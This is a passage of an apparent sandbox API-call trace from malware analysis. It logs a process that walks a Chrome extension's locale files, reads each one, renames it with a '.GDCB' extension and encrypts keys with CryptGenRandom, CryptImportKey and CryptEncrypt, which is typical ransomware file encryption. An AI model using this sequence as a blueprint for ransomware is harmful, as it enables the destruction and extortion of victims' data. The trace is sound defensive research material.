Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.678] GetLastError () returned 0x0 [0271.678] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.678] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.679] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.682] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.684] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbb, lpOverlapped=0x0) returned 1 [0271.693] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.700] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0271.705] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.709] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.711] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.711] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.711] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.711] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.716] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.716] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.716] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.719] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799620) returned 1 [0271.719] CryptGetKeyParam (in: hKey=0x6799620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.719] CryptEncrypt (in: hKey=0x6799620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.719] GetLastError () returned 0x0 [0271.719] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.719] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.721] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67996e0) returned 1 [0271.721] CryptGetKeyParam (in: hKey=0x67996e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.721] CryptEncrypt (in: hKey=0x67996e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.721] GetLastError () returned 0x0 [0271.721] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.721] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.722] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.726] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.728] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc6, lpOverlapped=0x0) returned 1 [0271.737] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.744] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0271.749] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.753] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.755] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.755] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.755] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.758] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.760] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.760] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.760] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.761] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.763] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67997e0) returned 1 [0271.763] CryptGetKeyParam (in: hKey=0x67997e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.763] CryptEncrypt (in: hKey=0x67997e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.763] GetLastError () returned 0x0 [0271.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.763] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.765] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67993e0) returned 1 [0271.765] CryptGetKeyParam (in: hKey=0x67993e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.765] CryptEncrypt (in: hKey=0x67993e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.765] GetLastError () returned 0x0 [0271.765] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.765] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.767] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.770] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.772] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xaf, lpOverlapped=0x0) returned 1 [0271.781] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.799] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json.gdcb")) returned 1 [0271.804] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.809] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.809] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.809] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.814] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.814] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.814] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.816] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799860) returned 1 [0271.816] CryptGetKeyParam (in: hKey=0x6799860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.816] CryptEncrypt (in: hKey=0x6799860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.816] GetLastError () returned 0x0 [0271.816] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.816] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.818] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799660) returned 1 [0271.818] CryptGetKeyParam (in: hKey=0x6799660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.818] CryptEncrypt (in: hKey=0x6799660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.818] GetLastError () returned 0x0 [0271.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.820] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.822] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.824] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x119, lpOverlapped=0x0) returned 1 [0271.832] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.838] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json.gdcb")) returned 1 [0271.844] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.849] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.849] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.853] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.854] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.856] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67994a0) returned 1 [0271.856] CryptGetKeyParam (in: hKey=0x67994a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.856] CryptEncrypt (in: hKey=0x67994a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.856] GetLastError () returned 0x0 [0271.856] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.856] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.858] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67994e0) returned 1 [0271.858] CryptGetKeyParam (in: hKey=0x67994e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.858] CryptEncrypt (in: hKey=0x67994e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.858] GetLastError () returned 0x0 [0271.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.858] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.859] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.862] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.864] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x14e, lpOverlapped=0x0) returned 1 [0271.872] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.879] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\si\\messages.json.gdcb")) returned 1 [0271.884] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.887] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.889] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.889] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.889] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.891] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.893] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.893] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.894] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.896] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799560) returned 1 [0271.896] CryptGetKeyParam (in: hKey=0x6799560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.896] CryptEncrypt (in: hKey=0x6799560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.896] GetLastError () returned 0x0 [0271.896] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.896] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.898] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799ce0) returned 1 [0271.898] CryptGetKeyParam (in: hKey=0x6799ce0, dwParam=0x8, pbData=0x285cd0c, 